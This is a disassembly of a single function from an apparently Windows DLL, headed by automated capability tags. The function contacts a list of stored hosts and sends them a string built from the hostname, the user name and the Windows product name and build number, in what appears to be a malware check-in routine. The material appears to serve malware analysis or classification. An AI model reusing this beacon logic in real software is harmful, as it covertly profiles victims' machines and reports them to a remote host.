Function at 0x180005600
Capabilities:
Get hostname
Get session user name
Query or enumerate registry value
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
mov r11, rsp
push rbp
push r12
push r15
lea rbp, [r11 - 0x3f8]
sub rsp, 0x4e0
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor r12d, r12d
cmp dword [0x18005026c], r12d
mov r15d, r12d
je 0x180005b05
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
lea esi, [r12 + 5]
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x20], r13
lea r13, [0x180000000]
mov qword [r11 - 0x28], r14
lea r14d, [r12 + 1]
nop
movsxd rax, r15d
lea rbx, [r13 + 0x50270]
imul rcx, rax, 0xff
mov rdi, r12
add rbx, rcx
mov rcx, rbx
call fcn.180003270
mov rcx, rbx
call fcn.18000c8c0
mov rbx, rax
test rax, rax
je 0x180005ac2
mov rdx, rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str.127.0.0.1
mov rcx, rbx
call fcn.18001ba2c
test eax, eax
je 0x180005ad0
mov rdx, rbx
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp rsi, 5
mov rax, r12
cmovl rax, rsi
mov rsi, rax
cmp rax, 5
jge 0x180005761
nop dword [rax]
mov ebx, dword [r13 + rsi*4 + 0x459e0]
lea rcx, [rbp + 0x50]
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rcx, [rbp + 0x50]
cmp eax, 0xffffffff
jne 0x180005715
call fcn.18000c8c0
test rax, rax
je 0x1800059c9
lea rcx, [rbp + 0x50]
call fcn.18000c8c0
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, eax
mov edx, ebx
call fcn.18000c990
mov rdi, rax
test rax, rax
je 0x1800059cc
lea rdx, [rbp + 0x50]
lea rcx, [0x180050f00]
call fcn.1800079c0
mov rcx, rax
lea rdx, [0x180045d94]
call fcn.1800079c0
mov rcx, rax
mov edx, ebx
call fcn.180005b30
mov rcx, rax
call fcn.180007d30
lea rdx, str.Break_Port_for
lea rcx, [0x180050f00]
call fcn.1800079c0
mov rcx, rax
call fcn.180007d30
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1800059b9
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
xorps xmm1, xmm1
mov edx, 0x80
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x1800059b9
lea rcx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1800059b9
lea r8, [0x180045c08]
mov edx, 0x80
lea rcx, [rsp + 0x50]
call fcn.18001c248
lea rdx, [rsp + 0x4c]
mov dword [rsp + 0x4c], gethostbyname
lea rcx, [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r8, str.__User:
mov edx, 0x80
lea rcx, [rsp + 0x50]
call fcn.18001c248
lea r8, [rbp + 0x160]
mov edx, 0x80
lea rcx, [rsp + 0x50]
call fcn.18001c248
lea r8, [rsp + 0x30]
mov dword [rsp + 0x44], r14d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov dword [rsp + 0x40], 0x104
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x1a0]
xor r8d, r8d
lea rdx, str.ProductName
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x2b0]
xor r8d, r8d
lea rdx, str.CurrentBuildNumber
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str._OS:
mov edx, 0x80
lea rcx, [rbp - 0x30]
call fcn.18001c248
lea r8, [rbp + 0x1a0]
mov edx, 0x80
lea rcx, [rbp - 0x30]
call fcn.18001c248
lea r8, [0x180045c34]
mov edx, 0x80
lea rcx, [rbp - 0x30]
call fcn.18001c248
lea r8, [rbp + 0x2b0]
mov edx, 0x80
lea rcx, [rbp - 0x30]
call fcn.18001c248
lea rax, [rbp - 0x30]
mov edx, 0xc8
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r8, str._s__s
lea rcx, [rbp + 0x50]
call fcn.180001250
mov r9b, 1
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call fcn.180009e60
test eax, eax
jne 0x180005a1e
lea ecx, [rax + 0x1e]
inc rsi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], 1
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180005ad0
mov rdi, r12
lea rdx, [rbp + 0x50]
lea rcx, [0x180050f00]
call fcn.1800079c0
mov rcx, rax
lea rdx, [0x180045d94]
call fcn.1800079c0
mov rcx, rax
mov edx, ebx
call fcn.180005b30
mov rcx, rax
lea rdx, str.______Connect_Host_Err
call fcn.1800079c0
mov rcx, rax
call fcn.180007d30
inc rsi
cmp rsi, 5
jl 0x1800056e0
jmp 0x180005761
lea rax, [rbp + 0x50]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x180005a30
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x3c], r12d
mov edx, 0x8004667e
mov rcx, rdi
mov r14d, r12d
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x180005a86
nop dword [rax + rax]
movsxd rax, r14d
lea rdx, [rbp + 0x50]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x180005a86
add r14d, eax
sub ebx, eax
test ebx, ebx
jg 0x180005a60
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x3c], r12d
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r14d, 1
lea rdx, [rsp + 0x38]
mov r8d, r14d
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
call fcn.18000dcf0
jmp 0x180005ad0
lea eax, [r15 + 1]
mov r15d, r12d
cmp eax, 1
cmovle r15d, eax
cmp dword [0x18005026c], r12d
jne 0x180005660
mov r14, qword [rsp + 0x4d0]
mov r13, qword [rsp + 0x4d8]
mov rdi, qword [rsp + 0x510]
mov rsi, qword [rsp + 0x508]
mov rbx, qword [rsp + 0x500]
xor eax, eax
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.180011100
add rsp, 0x4e0
pop r15
pop r12
pop rbp
ret